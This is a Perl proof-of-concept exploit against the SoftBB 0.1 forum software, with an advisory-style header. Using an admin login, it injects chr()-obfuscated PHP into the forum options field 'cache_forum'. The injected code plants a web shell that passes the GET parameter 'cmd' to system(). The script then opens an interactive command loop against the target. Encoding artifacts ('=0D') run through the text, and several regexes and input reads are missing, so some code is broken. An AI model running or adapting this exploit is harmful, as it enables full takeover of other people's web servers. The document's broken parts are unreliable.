#!/usr/bin/perl=0D
#=0D
# Affected.scr..: SoftBB 0.1=0D
# Poc.ID........: 11060904=0D
# Type..........: PHP code execution, SQL Injection, Full Path Disclosure=0D
# Risk.level....: High=0D
# Vendor.Status.: Unpatched=0D
# Src.download..: softbb.be=0D
# Poc.link......: acid-root.new.fr/poc/11060904.txt=0D
# Advisory.link.: acid-root.new.fr/advisories/10060904.txt=0D
# Credits.......: DarkFig (vuln/exploit/shellcode)=0D
#=0D
use Getopt::Long;=0D
use HTTP::Cookies;=0D
use HTTP::Request;=0D
use HTTP::Request::Common "POST";=0D
use HTTP::Response;=0D
use LWP::UserAgent;=0D
=0D
print STDOUT "\n+", '-' x 69, "+\n";=0D
print STDOUT "|            SoftBB 0.1 Remote PHP Code Execution Exploit             |\n";=0D
print STDOUT '+', '-' x 69, "+\n";=0D
=0D
my($host,$path,$admin,$passwd,$proxh,$proxu,$proxp);=0D
my $opt = GetOptions(=0D
   'host=s'   =>  \$host,=0D
   'path=s'   =>  \$path,=0D
   'admin=s'  =>  \$admin,=0D
   'passwd=s' =>  \$passwd,=0D
   'proxh=s'  =>  \$proxh,=0D
   'proxu=s'  =>  \$proxu,=0D
   'proxp=s'  =>  \$proxp);=0D
   =0D
if(!$host or !$admin or !$passwd) {=0D
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] --admin=[root] --passwd=[XD] |\n";=0D
    print STDOUT "| [Options] : --proxh=[host] --proxu=[username] --proxp=[password] ---|\n";=0D
    print STDOUT '+', '-' x 69, "+\n";=0D
    exit(0);=0D
}=0D
=0D
if($host !~ /http/) {$host = 'http://'.$host;}=0D 
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}=0D 
if(!$path) {$path = '/';}=0D
=0D
my $cc = HTTP::Cookies->new();=0D
my $ua = LWP::UserAgent->new();=0D
   $ua->cookie_jar($cc);=0D
   $ua->agent('0xzilla');=0D
   $ua->timeout(30);=0D
   $ua->proxy(['http'] => $proxh) if $proxh;=0D
=0D
my $re = POST $host.$path.'login.php', [=0D
         'pseudolog' => $admin,=0D
         'mdp'       => $passwd,=0D
         'souvenir'  => 'auto',=0D
         'Submit'    => 'Connexion'=0D
         ];=0D
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;=0D
   $ua->request($re);=0D
=0D
my $re = $ua->get($host.$path.'admin/gest_opt.php');=0D
=0D
if($re->content =~ /Administration/) {=0D
   print STDOUT " [+]Login successful";} else {=0D
   print STDOUT " [-]Error during login";=0D
   print STDOUT '+', '-' x 69, "+\n";=0D
   exit(0);}=0D
=0D
if($re->content =~ //) {=0D
   $conf[0] = $1;} else {=0D
   $conf[0] = 'Titre';}=0D
=0D
if($re->content =~ //) {=0D
   $conf[1] = $1; } else {=0D
$conf[1] = 'root@you.com';}=0D 
=0D
   # Bypass magic_quotes_gpc and register_globals limit=0D
   # if(isset($_GET['cmd'])){system(stripslashes($_GET['cmd']));} <- eval()=0D
=0D
my $shcode  = "\n".'$shcode  = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);';=0D
   $shcode .= "\n".'$shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';=0D
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';=0D
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);';=0D
   $shcode .= "\n".'$shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);';=0D
   $shcode .= "\n".'$shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);';=0D
   $shcode .= "\n".'$shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';=0D
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';=0D
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);';=0D
   $shcode .= "\n".'eval($shcode);//';=0D
=0D
my $re = POST $host.$path.'admin/save_opt.php', [=0D
         'nomduforum'       => $conf[0],        'url'              => $host.$path,=0D
         'mailadmin'        => $conf[1],        'smtp'             => '',=0D
         'nbsondage'        => 0,               'gzip'             => 'false',=0D
         'autmodpseudo'     => 'false',         'afflistdelauto'   => 'true',=0D
         'autorisationsign' => 'true',          'bbcodesign'       => 'true',=0D
         'ipaff'            => 'true',          'affreprapide'     => 'false',=0D
         'mailconf'         => 'false',         'cache_forum'      => "false; $shcode",=0D
         'lockforum'        => 'false',         'message_de_lock'  => '',=0D
         'lmax'             => 0,               'hmax'             => 0,=0D
         'pmax'             => 0,               'tmpfreepost'      => 0,=0D
         'membreparpage'    => 0,               'postparpage'      => 0,=0D
         'postparpageaff'   => 0,               'Submit'           => 'Enregistrer+les+options',=0D
         ];=0D
=0D
my $da = $ua->request($re);=0D
if($da->content =~ /Enregistrement/) {=0D
   print STDOUT "\n [+]Shellcode should be written !";}=0D
   =0D
while () {=0D
       print STDOUT "\n \$sh: ";=0D
       chomp($cmd = );=0D
       my $da = $ua->get($host.$path."info_options.php?cmd=$cmd");=0D
       print STDOUT $da->content;=0D
       if($cmd eq "exit") {=0D
          print STDOUT '+', '-' x 69, "+\n";=0D
          exit(0);}=0D
}